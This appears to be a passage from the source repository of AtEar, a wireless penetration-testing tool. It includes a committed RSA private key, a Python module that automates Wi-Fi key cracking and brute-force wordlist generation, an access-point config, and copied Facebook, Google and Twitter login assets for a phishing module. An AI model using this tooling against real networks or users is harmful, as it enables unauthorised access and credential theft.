RrUI/Z+Jj8XBterLWdijnX5mnIy5yyoCD8d15mtxFY/sKPkNxgtVuswMHGEF+st5 9 | YP+TCZWfA6a4QGNdX+oFe0kdmy/6cjnNrpLfBySTky7Z49D7Yr8DDF7+ykiBvoYL 10 | Q9wAs30kjwQqDoQ1oHVEPI4NfYvttbyPleAaMSOtqFbx3uZ3oJiam7quSBNJr0q2 11 | YgNUvB7PmCuKZxvNrLTV0pJPE7TelB9qJmk0mNut6VQ4TRjt3me9F8LAUStjAn0S 12 | o3Nr3RVXfHbn4zHaRpTWrc6hadi3opXQXzf8nHCTWvVxpFvICusCAwEAAaNQME4w 13 | HQYDVR0OBBYEFE4D9NXIRIywLAsHHWwOFq0jzCemMB8GA1UdIwQYMBaAFE4D9NXI 14 | RIywLAsHHWwOFq0jzCemMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEB 15 | AIv+JQxLpcl9mydSHbUlJkt5Ahc/hFh1mWcWWHTbI5U+lVL6D1KNE7CgprNLPoXw 16 | tMCu/4cvb3gS0/wATstoFoazzV1pZeOal6Hhgs/GIfRvRUcmoXqrFPe1B8GjsPsU 17 | eQgWldyUi0tOz7AUcuhLFUM97YACcBWRDlwSb7TzilXdtMGw4mhaKlKzK+FdQHqt 18 | aJ/uZwcXmqsikLLSBa/nZnsq9eyUULw+a7OBbmrkClIqD9pM5ATn9gmUibsorC/g 19 | 7fkEV9ldG6iRJnZz5JpP7zJlVIpwUoIdMSXwL/Rwhgihw/A8IOxQoth+vxwzev+B 20 | fB4PZM7y3ZOToNWfFDSJP1g= 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /module/conf/AtEar.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEA26jnr/FdVK+iyEoyp+DPEAlGgsm7B7+pK3lGtQj9n4mPxcG1 3 | 6stZ2KOdfmacjLnLKgIPx3Xma3EVj+wo+Q3GC1W6zAwcYQX6y3lg/5MJlZ8DprhA 4 | Y11f6gV7SR2bL/pyOc2ukt8HJJOTLtnj0PtivwMMXv7KSIG+hgtD3ACzfSSPBCoO 5 | hDWgdUQ8jg19i+21vI+V4BoxI62oVvHe5negmJqbuq5IE0mvSrZiA1S8Hs+YK4pn 6 | G82stNXSkk8TtN6UH2omaTSY263pVDhNGO3eZ70XwsBRK2MCfRKjc2vdFVd8dufj 7 | MdpGlNatzqFp2LeildBfN/yccJNa9XGkW8gK6wIDAQABAoIBAQC0I9at0bGKq+dB 8 | fqgASTtGmXS7+ZhqiGHCB1lXSiJE3dmMgoogHdh28+dLK/ei6ROWRc6O8z+eSUU3 9 | nKMVbJhH32yrvhrf7rl4ePh1YC5yB9BEv8H+OytXjltG4QLN3AQlJ2rNhB4lfukr 10 | eQF990tJ/sP8e9OElvKal051dBW+v+F2lAvIZW7IUvZv1iZP6/JL4qxyz8KURk6I 11 | j7FUi4KS0xhQS5ncynm2mAprIKVFP2fU7zs3BvMndT4mztiocbuVa0KpZH/p5hrw 12 | iFIRc90Beqwerd/4CQpr+w33KM/YPy7CSWZnA7e3udYvwxPXXU8lxiKso4HLz0wM 13 | mynpFBHRAoGBAPP+CMsAAdZY7X+KOJ3cvgP5kpjBa7DGely6bixr1UQ6Yi8l3HYe 14 | v3yt9AA4exZmHTSPeoV7SliQV1IXj+29XaJGzEtDz2ps3SX5WGzuJEEOUMJ5npV/ 15 | y7/wGGtf3wO86ovwTUfqyi2qF93pJxFE8pth2wncH+1VyjwsxM2FPFinAoGBAOZ4 16 | UHvcwL6Q5OojH2NAZ2JQLqqw+dQlyo85kFReIKew2mAMMadj0Jg28/iWhtfKyyb+ 17 | AZw6DCT3Z4HcTPf/DmGkJr0p6imD8dgLBObHiwF0ZzW82P8six8NBdT0TN2br4/H 18 | gXuBZEv2JBO02YZqZqiEGM6k1SMZmWJ6aTDIvgAdAoGARCNHVVmVKcT/3kQ9d2hz 19 | 8Cw8UkiByIZFGaw+pE0g68LaNIyAOsRveWQi5gTf6uttcIY5ExnRM1Zr7FMEMMJX 20 | acAXwVUYkYIBaF9v4EvI+BoFV6obLWjY/6sPRr0pTKPvZFEhY9ofyAzeSWyZKmt0 21 | zQvQ3boJeIAi0Bc4hqSUq7UCgYEAvfY5UH6aF/jR1fLxMhupmy0/6c1JfoVPulHW 22 | FtQm0lFBDZ2/Z5ssGephmWpo5oDuhcsjhKOL0wRhOnZcsqR2NCDbFVvw+BsbQdmD 23 | Rrz+ZEqPr4liyqDqYsOXJPngSWDDih0FKslx4/KTtfKAwPv+dbO7xseyLeYxuSvw 24 | fBdaFDkCgYEAsaV/pW6FCt1nkBQ0ZTFcpGUYcdRB/UQzP5oVN90Jmx994eiPKit6 25 | bWUO7RXufTbA/zki7DOHy98cYI+yf/Qnz25O9fU8ogq5ySrpRcy7d1rPo6Yi/Mlc 26 | pXv8MubGWDrYVYpoCn9lQXi+gK6RI5wzHdYydABsTcg/8L4+qCn6SOc= 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /module/conf/run.conf: -------------------------------------------------------------------------------- 1 | interface=atear_ap 2 | driver=nl80211 3 | ssid=asdf 4 | channel=11 5 | -------------------------------------------------------------------------------- /module/db_reader.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | import csv 3 | import os 4 | import string 5 | 6 | BASEPATH = os.path.dirname(os.path.abspath(__file__)) 7 | 8 | def oui_search(mac_addr): 9 | mac_addr = string.upper(mac_addr) 10 | path = os.path.join(BASEPATH, '../databases/oui_database.csv') 11 | csv_file = open(path, 'rb') 12 | reader = csv.reader(csv_file) 13 | for row in reader: 14 | if mac_addr[0:8] == row[0]: 15 | return row[1] 16 | return 'Unknown' 17 | 18 | 19 | def product_search(mac_addr): 20 | # mac_addr = string.upper(mac_addr) 21 | # path = os.path.abspath('./databases/product_database.csv') 22 | # csv_file = open(path, 'rb') 23 | # reader = csv.reader(csv_file) 24 | # for row in reader: 25 | # if mac_addr[0:8] == row[0][0:8]: 26 | # return row[1] 27 | return 'Unknown' 28 | -------------------------------------------------------------------------------- /module/execute.py: -------------------------------------------------------------------------------- 1 | from subprocess import Popen, PIPE 2 | 3 | 4 | def execute(command, wait=True): 5 | if wait == True: 6 | proc = Popen(command, shell=True, stdout=PIPE, stderr=PIPE) 7 | out, err = proc.communicate() 8 | retval = proc.returncode 9 | else: # wait == False 10 | _dn = open('/dev/null','wb') 11 | proc = Popen(command, stdout=_dn, stderr=_dn) 12 | retval = 1 13 | out = None 14 | err = None 15 | return proc, retval, out, err 16 | 17 | -------------------------------------------------------------------------------- /module/pentest_open.py: -------------------------------------------------------------------------------- 1 | __author__ = 'root' 2 | import network 3 | from aircrack import Attack 4 | import brute_force 5 | from airodump import Reader 6 | from execute import execute 7 | from multiprocessing import Process, Queue 8 | import os, signal 9 | import commands 10 | import time 11 | 12 | 13 | class auto_pentest(): 14 | def __init__(self, iface, option): 15 | self.iface = iface 16 | self.opt = option 17 | self.result = Queue() 18 | self.proc = None 19 | self.rlist = [] 20 | 21 | def run(self): 22 | self.proc = _auto_pentest(self.iface, self.opt, self.result) 23 | self.daemon = True 24 | self.proc.start() 25 | 26 | def stop(self): 27 | print "[*] AUTOPENTEST RECEIVED STOP SIGNAL" 28 | try: 29 | self.proc.terminate() 30 | self.proc.join() 31 | except: 32 | pass 33 | 34 | def get_values(self): 35 | self.result.put("STOP") 36 | while True: 37 | tmp = self.result.get() 38 | if tmp == "STOP": break 39 | else: 40 | print tmp 41 | self.rlist.append(tmp) 42 | 43 | return self.rlist 44 | 45 | 46 | G_PEN = None 47 | def signal_handler(signum, frame): 48 | print "[*] _AUTOPENTEST RECEIVED SIGTERM" 49 | if G_PEN.apcrack: 50 | G_PEN.apcrack.stop() 51 | exit() 52 | 53 | class _auto_pentest(Process): 54 | def __init__(self, iface, option, result): 55 | self.option = option 56 | super(_auto_pentest, self).__init__() 57 | self.time = int(self.option['timeout']) * 60 58 | self.iface = iface 59 | self.conn_host_info = self.option['conn_host_info'] 60 | self.public_ip_get = self.option['public_ip_info'] 61 | self.brute_min_len = self.option['bruteforce_minlength'] 62 | self.brute_max_len = self.option['bruteforce_maxlength'] 63 | self.brute_number = self.option['bruteforce_number'] 64 | self.brute_space = self.option['bruteforce_space'] 65 | self.brute_special = self.option['bruteforce_special'] 66 | self.brute_string = self.option['bruteforce_strings'] 67 | self.dict_password = self.option['dictionary_password'] 68 | self.dict_user = self.option['dictionary_user'] 69 | self.result_value = None 70 | self.result = result 71 | self.apcrack = None 72 | signal.signal(signal.SIGTERM, signal_handler) 73 | global G_PEN 74 | G_PEN = self 75 | 76 | 77 | def run(self): 78 | time = int(self.time) / int(len(self.option['aplist'])) 79 | if self.dict_password: 80 | pass 81 | else: 82 | self.create_brtue_text() 83 | 84 | r = Reader() # Reader class in airodump module 85 | nets = r.get_sorted_networks() 86 | for i in xrange(0, len(self.option['aplist'])): 87 | channel = self.option['aplist'][i]['channel'] 88 | bssid = self.option['aplist'][i]['bssid'] 89 | # Get the essid match the encoding format that AP is broadcast. 90 | for k in range(0, len(nets)): 91 | if nets[k]['bssid'] == bssid: 92 | essid = nets[k]['essid'] 93 | break 94 | enc_type = self.option['aplist'][i]['enc_type'] 95 | public_ip = False 96 | conn_host = False 97 | if essid == '': 98 | print '[!!] Can not connect without ESSID' 99 | continue 100 | self.apcrack = Attack(self.iface, channel, bssid, essid, enc_type, timeout=time) 101 | print "[*] ATTACK START" 102 | self.apcrack.run() 103 | print "[*] ATTACK END" 104 | ap_values = self.apcrack.get_value() 105 | 106 | if ap_values['key']: # Found Key 107 | retval, public_ip, conn_host = network.get_ap_info(essid, channel, enc_type, ap_values['key'], self.iface, self.public_ip_get, self.conn_host_info) 108 | 109 | self.result_value = {'essid': ap_values['essid'], 'bssid': ap_values['bssid'], 'inject_T': ap_values['inject_T'], 110 | 'fake_auth_T': ap_values['fake_auth_T'], 'arp_req_T': ap_values['arp_req_T'], 'key': ap_values['key'], 111 | 'public_ip': public_ip, 'conn_host_info': conn_host} 112 | self.result.put(self.result_value) 113 | print self.result 114 | self.apcrack.stop() 115 | self.apcrack = None 116 | 117 | 118 | def create_brtue_text(self): 119 | text = brute_force.brute_text_create(min_length=int(self.brute_min_len), 120 | max_length=int(self.brute_max_len), 121 | letters=bool(self.brute_string), 122 | numbers=bool(self.brute_number), 123 | symbols=bool(self.brute_special), 124 | spaces=bool(self.brute_space)) 125 | 126 | f = open('./dict/password.lst', 'w') 127 | for t in text: # Performance improvement needs. 128 | f.write(t + '\n') 129 | f.close() 130 | 131 | """ 132 | opt = {u'aplist': [{u'enc_type': u' WEP WEP', u'essid': u'NormaFakeFake', u'bssid': u'00:26:66:66:50:F0', u'channel': u'11'}], u'bruteforce_space': False, u'bruteforce_special': False, u'dictionary_password': True, u'bruteforce_strings': False, u'bruteforce_minlength': u'', u'public_ip_info': True, u'timeout': u'3', u'conn_host_info': True, u'bruteforce_maxlength': u'', u'bruteforce_number': False, u'dictionary_user': False} 133 | 134 | aut = auto_pentest('wlan7', opt) 135 | aut.run() 136 | 137 | while True: 138 | r = aut.get_values() 139 | if r: 140 | print r 141 | break 142 | time.sleep(1) 143 | aut.stop() 144 | """ 145 | -------------------------------------------------------------------------------- /module/phishing/static/facebook/-G5XZK33k3L.js: -------------------------------------------------------------------------------- 1 | /*!CK:2511093640!*//*1438092926,*/ 2 | 3 | if (self.CavalryLogger) { CavalryLogger.start_js(["xVHOs"]); } 4 | 5 | __d("Network",["mixInEventEmitter"],function(a,b,c,d,e,f,g){b.__markCompiled&&b.__markCompiled();var h=true,i=a.navigator.connection,j={0:'unknown',1:'ethernet',2:'wifi',3:'2g',4:'3g'};function k(){return h;}function l(q){if(q==h)return;h=q;p.emit(q?'online':'offline');}function m(){return i?i.bandwidth:(h?Infinity:0);}function n(){return i?i.metered:false;}function o(){var q=i?String(i.type):'0';return j[q]||q;}var p={getBandwidth:m,getType:o,isMetered:n,isOnline:k,setOnline:l};g(p,{online:true,offline:true});if(a.addEventListener){a.addEventListener('online',l.bind(null,true));a.addEventListener('offline',l.bind(null,false));}else if(a.attachEvent){a.attachEvent('online',l.bind(null,true));a.attachEvent('offline',l.bind(null,false));}e.exports=p;},null); 6 | __d("ChannelMonitor",["Clock","CurrentUser","MChannelManager","MSession","Network","BanzaiScuba","StateMachine","setIntervalAcrossTransitions"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n){b.__markCompiled&&b.__markCompiled();var o=1000,p='mchannel',q,r,s,t,u;function v(){u=Date.now();}function w(ba){s=ba.name;t=ba.status||ba.progress;if(!u){v();n(z,o);}if(ba.progress==m.ENTERED){r=Date.now();q=new l(p,null,{addBrowserFields:true}).addNormal('state',s).addNormal('online',k.isOnline()).addNormal('push_phase',j.push_phase).addDenorm('user',h.getID());}else if(ba.progress==m.EXITED)if(q){q.addNormal('substate',ba.status).addInteger('duration',Date.now()-r).post();q=null;}}var x;function y(){var ba=new l(p+'_rollup',null,{addBrowserFields:true});for(var ca in x)ba.addInteger(ca,x[ca]);x=null;ba.post();}function z(){if(g.isAnomalous()){v();return;}var ba=Date.now();x=x||{total:0};var ca=ba-u;u=ba;if(ca<0||ca>o*2)return;var da=s;if(t==m.PENDING)da+='_pending';x.total+=ca;x[da]=(x[da]||0)+ca;if(k.isOnline())x.online=(x.online||0)+ca;if(x.total>=o*30)y();}function aa(){g.addListener(g.ANOMALY,v);if(!i.xhrEnabled)return;i.addListener(m.ENTER,w);i.addListener(m.EXIT,w);}f.init=aa;},null); 7 | __d("MChannelIndicator",["setTimeoutAcrossTransitions","Clock","JSXDOM","MBugNub","MChannelManager","MPageController","MViewport","Network","StateMachine","cx","fbt","ChannelClientConfig","LogHistory"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q){b.__markCompiled&&b.__markCompiled();var r=b('ChannelClientConfig').config,s=b('LogHistory').getInstance('channel'),t=(r&&r.INDICATOR_TOLERANCE)||17000,u,v;function w(){if(!j.isReportURI()){j.captureState();l.forceLoad(j.getReportURI('ChannelMonitor'));}}function x(aa){if(v){clearTimeout(v);v=null;}var ba="_5572"+(aa?' show':'');if(aa&&!u){u=i.div(null,q._("Chat is disconnected. {report-this link} if this is unexpected.",[q.param("report-this link",i.strong(null,q._("Report this")))]));u.onclick=w;m.appendNode(u);}if(u&&u.className!=ba){u.className=ba;s.log('indicator '+aa);}}function y(){v=null;x(true);}function z(aa){var ba=aa.name,ca=aa.status||aa.progress,da=ba=='reconnect'||ba=='stall'||ca=='error';da=da&&n.isOnline();if(!da){x(false);}else if(da&&!v)v=g(y,t);}k.addListener(o.ENTER,z);k.addListener(o.EXIT,z);h.addListener(h.ANOMALY,x.bind(null,false));f.setVisible=x;},null); -------------------------------------------------------------------------------- /module/phishing/static/facebook/MfUSW83MbMU.js: -------------------------------------------------------------------------------- 1 | /*!CK:1379140887!*//*1425869128,*/ 2 | 3 | if (self.CavalryLogger) { CavalryLogger.start_js(["Ni62x"]); } 4 | 5 | __d("MCoreInit",["AddressBar","Bootloader","ErrorUtils","MCache","MTabletLoader","MFacewebAndroidLink","MPageController","MViewport","MWildeLink","RemoteDevice","Resource","ServerJS","Stratcom","ix"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t){b.__markCompiled&&b.__markCompiled();function u(v){t.add(v.ixData);h.setResourceMap(v.resource_map);h.enableBootload(v.bootloadable);if(v.hideLocationBar)g.setupLoadListener();if(v.isWildeWeb)o.setupListeners();if(v.isFacewebAndroid)l.setupListeners();if(k.isTabletFrame)k.MTabletLink.initialize();s.mergeData(0);n.init();m.init();p.init();q.load(v.coreResources,function(){i.guard(function(){if(v.clearMCache)j.clear();if(v.onload)(new Function(v.onload))();if(v.onafterload)(new Function(v.onafterload))();(new r()).handle(v.serverJSData);s.invoke('m:root:render');},'onload')();});}f.init=u;},null); -------------------------------------------------------------------------------- /module/phishing/static/facebook/O2aKM2iSbOw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/facebook/O2aKM2iSbOw.png -------------------------------------------------------------------------------- /module/phishing/static/facebook/TVwETOWw57B.css: -------------------------------------------------------------------------------- 1 | /*!CK:1893707368!*//*1438141019,*/ 2 | 3 | ._5572{background-color:#3b5998;bottom:0;color:#fff;cursor:pointer;font-size:8pt;padding:4px;position:fixed;right:-140px;-moz-transition:right .5s;width:130px}._5572.show{right:0;-moz-transition:right .5s} 4 | 5 | #bootloader_6T6T8 { height: 42px; } 6 | .bootloader_6T6T8 { display:block !important; } -------------------------------------------------------------------------------- /module/phishing/static/facebook/an9uVqgXgka.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/facebook/an9uVqgXgka.png -------------------------------------------------------------------------------- /module/phishing/static/google/arrow_back_grey600_24dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/google/arrow_back_grey600_24dp.png -------------------------------------------------------------------------------- /module/phishing/static/google/avatar_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/google/avatar_2x.png -------------------------------------------------------------------------------- /module/phishing/static/google/logo_1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/google/logo_1x.png -------------------------------------------------------------------------------- /module/phishing/static/google/logo_strip_1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/google/logo_strip_1x.png -------------------------------------------------------------------------------- /module/phishing/static/google/logo_strip_2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/google/logo_strip_2x.png -------------------------------------------------------------------------------- /module/phishing/static/twitter/larrybird.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/static/twitter/larrybird.png -------------------------------------------------------------------------------- /module/phishing/static/twitter/m5_sessions.js: -------------------------------------------------------------------------------- 1 | function dim(){document.getElementById("dialog-cover-holder").innerHTML='
'}function undim(){document.getElementById("dialog-cover-holder").innerHTML=""}function killPopup(){var e=document.getElementById("popup-holder");e.innerHTML="",undim()}function forgotPassword(){window.location=window.isDeciderEnabled("m5NewPasswordResetFlow")?"/account/resend_password?dialog=true":"https://twitter.com/account/begin_password_reset"}function initializeListeners(){var e=document.getElementById("dialog_yes"),n=document.getElementById("dialog_no");e&&n&&(e.addEventListener("click",forgotPassword),n.addEventListener("click",killPopup),dim())}!function(){var e={deciders:{},isEnabled:function(n){return!!e.deciders&&!!e.deciders[n]},parseDeciders:function(){var n,i=document.getElementsByName("deciders");1===i.length&&(n=i[0],e.deciders=JSON.parse(n.content),n.parentNode.removeChild(n))}};window.isDeciderEnabled=e.isEnabled,window.addEventListener("DOMContentLoaded",e.parseDeciders)}(),function(){var e={trackConversion:function(n){e.hitEndpoint([{integration:"kenshooConversion",ref:document.referrer,type:n}])},hitEndpoint:function(e){var n,i;window.isDeciderEnabled&&window.isDeciderEnabled("m5EnableKenshooTracking")&&(n="https://twitter.com/i/anonymize?data="+encodeURIComponent(JSON.stringify(e)),i=new Image,i.src=n)}};window.trackKenshooConversion=e.trackConversion}(),function(){window.addEventListener("DOMContentLoaded",function(){var e=document.getElementsByClassName("signin-form")[0];e.addEventListener("submit",window.trackKenshooConversion.bind(null,"signin"))})}(),window.addEventListener("DOMContentLoaded",initializeListeners); -------------------------------------------------------------------------------- /module/phishing/templates/twitter/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | Log in 14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 |
24 | Twitter 25 | Log in 26 |
27 | 28 | 29 |
30 | 58 | 59 | 60 | 61 | 62 |
63 | 64 | 65 | 71 | 72 |
73 | 74 | 75 | -------------------------------------------------------------------------------- /module/phishing/templates/twitter/static/img/larrybird.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/templates/twitter/static/img/larrybird.png -------------------------------------------------------------------------------- /module/phishing/templates/twitter/static/m5_sessions.js: -------------------------------------------------------------------------------- 1 | function dim(){document.getElementById("dialog-cover-holder").innerHTML='
'}function undim(){document.getElementById("dialog-cover-holder").innerHTML=""}function killPopup(){var e=document.getElementById("popup-holder");e.innerHTML="",undim()}function forgotPassword(){window.location=window.isDeciderEnabled("m5NewPasswordResetFlow")?"/account/resend_password?dialog=true":"https://twitter.com/account/begin_password_reset"}function initializeListeners(){var e=document.getElementById("dialog_yes"),n=document.getElementById("dialog_no");e&&n&&(e.addEventListener("click",forgotPassword),n.addEventListener("click",killPopup),dim())}!function(){var e={deciders:{},isEnabled:function(n){return!!e.deciders&&!!e.deciders[n]},parseDeciders:function(){var n,i=document.getElementsByName("deciders");1===i.length&&(n=i[0],e.deciders=JSON.parse(n.content),n.parentNode.removeChild(n))}};window.isDeciderEnabled=e.isEnabled,window.addEventListener("DOMContentLoaded",e.parseDeciders)}(),function(){var e={trackConversion:function(n){e.hitEndpoint([{integration:"kenshooConversion",ref:document.referrer,type:n}])},hitEndpoint:function(e){var n,i;window.isDeciderEnabled&&window.isDeciderEnabled("m5EnableKenshooTracking")&&(n="https://twitter.com/i/anonymize?data="+encodeURIComponent(JSON.stringify(e)),i=new Image,i.src=n)}};window.trackKenshooConversion=e.trackConversion}(),function(){window.addEventListener("DOMContentLoaded",function(){var e=document.getElementsByClassName("signin-form")[0];e.addEventListener("submit",window.trackKenshooConversion.bind(null,"signin"))})}(),window.addEventListener("DOMContentLoaded",initializeListeners); -------------------------------------------------------------------------------- /module/phishing/tmp/login.json: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/module/phishing/tmp/login.json -------------------------------------------------------------------------------- /product_img/AtEar_Product.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/AtEar_Product.jpg -------------------------------------------------------------------------------- /product_img/KoreaTelecom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/KoreaTelecom.png -------------------------------------------------------------------------------- /product_img/Ministry_en.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/Ministry_en.png -------------------------------------------------------------------------------- /product_img/Samsung.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/Samsung.png -------------------------------------------------------------------------------- /product_img/atearlogo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/atearlogo.png -------------------------------------------------------------------------------- /product_img/edu1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/edu1.png -------------------------------------------------------------------------------- /product_img/kaits_.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/kaits_.png -------------------------------------------------------------------------------- /product_img/kbs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/kbs.png -------------------------------------------------------------------------------- /product_img/kgu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/kgu.png -------------------------------------------------------------------------------- /product_img/korea_rail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/korea_rail.png -------------------------------------------------------------------------------- /product_img/koreauniversity.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/koreauniversity.png -------------------------------------------------------------------------------- /product_img/police1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NORMA-Inc/AtEar/245ec8d1d13aea2d0acfa0481e5814b80b84e333/product_img/police1.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask 2 | paramiko 3 | python-libnmap 4 | scapy 5 | smartencoding 6 | -------------------------------------------------------------------------------- /static/css/jquery.tablescroll.css: -------------------------------------------------------------------------------- 1 | .tablescroll 2 | { font: 12px normal Tahoma, Geneva, "Helvetica Neue", Helvetica, Arial, sans-serif; background-color:#fff; } 3 | 4 | .tablescroll td, 5 | .tablescroll_wrapper, 6 | .tablescroll_head, 7 | .tablescroll_foot 8 | { border:1px solid #ccc; } 9 | 10 | .tablescroll td 11 | { padding:3px 5px; } 12 | 13 | .tablescroll_wrapper 14 | { border-left:0; } 15 | 16 | .tablescroll_head 17 | { font-size:11px; font-weight:bold; background-color:#eee; border-left:0; border-top:0; margin-bottom:3px; } 18 | 19 | .tablescroll thead td 20 | { border-right:0; border-bottom:0; } 21 | 22 | .tablescroll tbody td 23 | { border-right:0; border-bottom:0; } 24 | 25 | .tablescroll tbody tr.first td 26 | { border-top:0; } 27 | 28 | .tablescroll_foot 29 | { font-weight:bold; background-color:#eee; border-left:0; border-top:0; margin-top:3px; } 30 | 31 | .tablescroll tfoot td 32 | { border-right:0; border-bottom:0; } -------------------------------------------------------------------------------- /static/css/main.css: -------------------------------------------------------------------------------- 1 | body { 2 | background-image: url("../img/glass2.jpg"); 3 | background-position: center top; 4 | background-attachment: fixed; 5 | background-size: cover; 6 | } 7 | 8 | .main.container{ 9 | padding-top:6em; 10 | } 11 | .hidden-container { 12 | position: fixed; 13 | width: 0; 14 | overflow:visible; 15 | z-index:1982; 16 | bottom:10px; 17 | right:10px; 18 | } 19 | .hidden-container .message{ 20 | position: absolute; 21 | display:none; 22 | padding:15px; 23 | margin-top:10px; 24 | width: 290px; 25 | right:0px; 26 | top:-110px; 27 | cursor: pointer; 28 | } 29 | #add_project>.content{ 30 | text-align:center; 31 | } 32 | #add_project>.content>.icon{ 33 | font-size:10em; 34 | } 35 | .card>.edit, .card.editing>.view{ 36 | display:none !important; 37 | } 38 | .card>.view, .card.editing>.edit{ 39 | display:block !important; 40 | } 41 | .card .remove.icon:hover{ 42 | color: #DB2828; 43 | cursor:pointer; 44 | } 45 | .card .write.icon:hover{ 46 | color: #3AB8C7; 47 | cursor:pointer; 48 | } 49 | 50 | #atear .header.item{ 51 | padding-top:0rem; 52 | padding-bottom:0rem; 53 | } 54 | canvas.chartjs{ 55 | margin-left:-1rem; 56 | margin-right:-1rem; 57 | } 58 | 59 | .pentest-step{ 60 | display:none; 61 | } 62 | 63 | .range { 64 | padding: 0; 65 | margin: 0; 66 | font: inherit; 67 | color: inherit; 68 | background: transparent; 69 | border: none; 70 | line-height: normal; 71 | -webkit-box-sizing: border-box; 72 | -moz-box-sizing: border-box; 73 | box-sizing: border-box; 74 | -webkit-background-clip: padding-box; 75 | background-clip: padding-box; 76 | vertical-align: top; 77 | outline: none; 78 | line-height: 1; 79 | -webkit-appearance: none; 80 | -webkit-border-radius: 4px; 81 | border-radius: 4px; 82 | border: none; 83 | height: 2px; 84 | -webkit-border-radius: 0; 85 | border-radius: 0; 86 | -webkit-border-radius: 3px; 87 | border-radius: 3px; 88 | background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(24, 103, 194, 0.81)), to(rgba(24, 103, 194, 0.81))); 89 | background-image: -webkit-linear-gradient(rgba(24, 103, 194, 0.81), rgba(24, 103, 194, 0.81)); 90 | background-image: -moz-linear-gradient(rgba(24, 103, 194, 0.81), rgba(24, 103, 194, 0.81)); 91 | background-image: -o-linear-gradient(rgba(24, 103, 194, 0.81), rgba(24, 103, 194, 0.81)); 92 | background-image: linear-gradient(rgba(24, 103, 194, 0.81), rgba(24, 103, 194, 0.81)); 93 | background-position: left center; 94 | -webkit-background-size: 100% 2px; 95 | background-size: 100% 5px; 96 | background-repeat: no-repeat; 97 | overflow: hidden; 98 | height: 31px; 99 | width:100%; 100 | } 101 | 102 | .range::-moz-range-track { 103 | position: relative; 104 | border: none; 105 | background-color: rgba(24, 103, 194, 0.81); 106 | height: 2px; 107 | border-radius: 30px; 108 | box-shadow: none; 109 | top: 0; 110 | margin: 0; 111 | padding: 0; 112 | } 113 | 114 | .range::-webkit-slider-thumb { 115 | cursor: pointer; 116 | -webkit-appearance: none; 117 | position: relative; 118 | height: 29px; 119 | width: 29px; 120 | background-color: #fff; 121 | border: 1px solid rgba(24, 103, 194, 0.81); 122 | -webkit-border-radius: 30px; 123 | border-radius: 30px; 124 | -webkit-box-shadow: none; 125 | box-shadow: none; 126 | top: 0; 127 | margin: 0; 128 | padding: 0; 129 | } 130 | 131 | 